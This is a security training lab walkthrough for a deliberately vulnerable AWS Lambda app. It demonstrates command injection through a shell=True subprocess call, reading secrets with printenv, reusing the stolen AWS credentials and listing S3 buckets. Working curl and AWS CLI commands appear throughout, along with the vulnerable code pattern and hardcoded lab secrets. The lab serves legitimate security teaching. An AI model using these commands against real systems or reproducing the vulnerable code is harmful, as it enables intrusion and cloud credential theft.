Lab: Command Injection and Credential Theft
OWASP Serverless Top 10: SLS-1 (Injection), SLS-5 (Broken Access Control), SLS-6 (Security Misconfiguration)
Objective
Execute arbitrary OS commands on the Lambda function, steal AWS credentials from the environment, and use them to access other AWS services.
Real-World Parallel
The Capital One breach (2019) involved credential theft from a cloud instance. One vulnerability — server-side request forgery combined with overpermissive IAM — led to 100 million customer records exposed. The same pattern applies here: one injection vulnerability plus a wide-open IAM role gives the attacker access to everything.
Why This App is Vulnerable
The /date endpoint passes user input directly to a shell:
cmd = request.args.get('exec')
subprocess.Popen(cmd, stdout=subprocess.PIPE, shell=True)
shell=True tells Python to execute the string in a system shell. The application does not validate or restrict what commands can be run.
On top of that, the Lambda function’s IAM role grants s3:* on Resource: "*" — full access to every S3 bucket in the AWS account.
Steps
Before you start: make sure you are in the project directory.
cd /workspaces/very-vulnerable-serverless source ~/.lab-env
1. Confirm command execution
curl "$ENDPOINT/date?exec=id"
Expected output:
{"output":"uid=993(sbx_user1051) gid=990 groups=990\n"}
You are running commands as the Lambda sandbox user.
2. Explore the Lambda filesystem
curl "$ENDPOINT/date?exec=ls+-la"
You see the Lambda function’s files: app.py, requirements.txt, templates/, and the WSGI handler.
3. Read the application source code
curl "$ENDPOINT/date?exec=cat+app.py"
You can read the full source code, including the hardcoded Flask secret key: ThisisSuperFlagBySecurityDojo. This is SLS-2 (Broken Authentication) — secrets should never be hardcoded.
4. Steal AWS credentials
curl "$ENDPOINT/date?exec=printenv"
In the output, find these three values:
AWS_ACCESS_KEY_ID=ASIA...
AWS_SECRET_ACCESS_KEY=...
AWS_SESSION_TOKEN=IQoJb3...
You also see VARIABLE_1=supersecret99 — an application secret stored as a plaintext environment variable, visible to anyone with command execution.
5. Use the stolen credentials
In your Codespace terminal, export the credentials from step 4:
export AWS_ACCESS_KEY_ID=ASIA... # copy from step 4 output
export AWS_SECRET_ACCESS_KEY=... # copy from step 4 output
export AWS_SESSION_TOKEN=IQoJ... # copy from step 4 output
Verify you are now authenticated as the Lambda function’s IAM role:
aws sts get-caller-identity
Expected output:
{
"UserId": "AROA...:very-vulnerable-serverless-dev-app",
"Account": "523561755519",
"Arn": "arn:aws:sts::523561755519:assumed-role/very-vulnerable-serverless-dev-..."
}
6. Enumerate S3 buckets
aws s3 ls
The IAM role has s3:* on *. You can list every bucket in the account, read their contents, upload files, and delete objects.
7. Clean up stolen credentials
After the lab, unset the environment variables so they do not interfere with your own AWS CLI:
unset AWS_ACCESS_KEY_ID AWS_SECRET_ACCESS_KEY AWS_SESSION_TOKEN
What Happened
shell=True with unsanitized user input gave us arbitrary command execution on the Lambda function. From there, AWS credentials were one printenv away — Lambda stores IAM credentials in environment variables by design. The overpermissive IAM role (s3:* on *) turned a single injection vulnerability into full access to every S3 bucket in the account.
This is how real cloud breaches chain together: injection → credential theft → lateral movement.
Next step: SSRF